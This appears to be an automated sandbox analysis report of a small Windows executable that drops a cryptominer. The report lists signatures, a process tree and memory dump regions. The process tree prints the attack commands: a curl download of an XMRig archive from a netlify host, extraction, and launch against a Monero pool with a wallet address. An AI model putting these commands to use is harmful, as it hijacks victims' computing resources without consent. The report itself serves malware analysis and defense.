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240313-kms82aah481012/03/2024, 18:00
240312-wlevsshe861012/03/2024, 17:57
240312-wjxylahe481012/03/2024, 17:55
240312-whm21afc7t1012/03/2024, 17:54
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240312-wgg5csfc3y1012/03/2024, 17:52
240312-wf31fahd5810Analysis
- max time kernel
1797s - max time network
1801s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
12/03/2024, 18:00
General
- Target test - Copy - Copy (2).exe
- Size 6KB
- Sample240312-wlevsshe86
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 62 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DSib3z08.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
DSib3z08.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/2780-0-0x0000000000620000-0x0000000000628000-memory.dmp
memory/2780-4-0x00007FFA6B520000-0x00007FFA6BFE1000-memory.dmp
memory/2780-22-0x00007FFA6B520000-0x00007FFA6BFE1000-memory.dmp
memory/4220-23-0x0000026A012C0000-0x0000026A012E0000-memory.dmp
memory/4220-24-0x0000026A01310000-0x0000026A01330000-memory.dmp
memory/4220-25-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-26-0x0000026A01330000-0x0000026A01350000-memory.dmp
memory/4220-27-0x0000026A02C10000-0x0000026A02C30000-memory.dmp
memory/4220-28-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-30-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-31-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-33-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-34-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-36-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-37-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-38-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-39-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-40-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-41-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-42-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-43-0x0000026A01330000-0x0000026A01350000-memory.dmp
memory/4220-44-0x0000026A02C10000-0x0000026A02C30000-memory.dmp
memory/4220-45-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-46-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-47-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-48-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-49-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-50-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-51-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-52-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-53-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-54-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-55-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-56-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-57-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-58-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-59-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-60-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-61-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-62-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-63-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-64-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-65-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-66-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-67-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-68-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-69-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-70-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-71-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-72-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-73-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-74-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-75-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-76-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-77-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-78-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-79-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-80-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-81-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-82-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-83-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-84-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-85-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-86-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-87-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-88-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-89-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-90-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp
memory/4220-91-0x00007FF6A8B90000-0x00007FF6A9694000-memory.dmp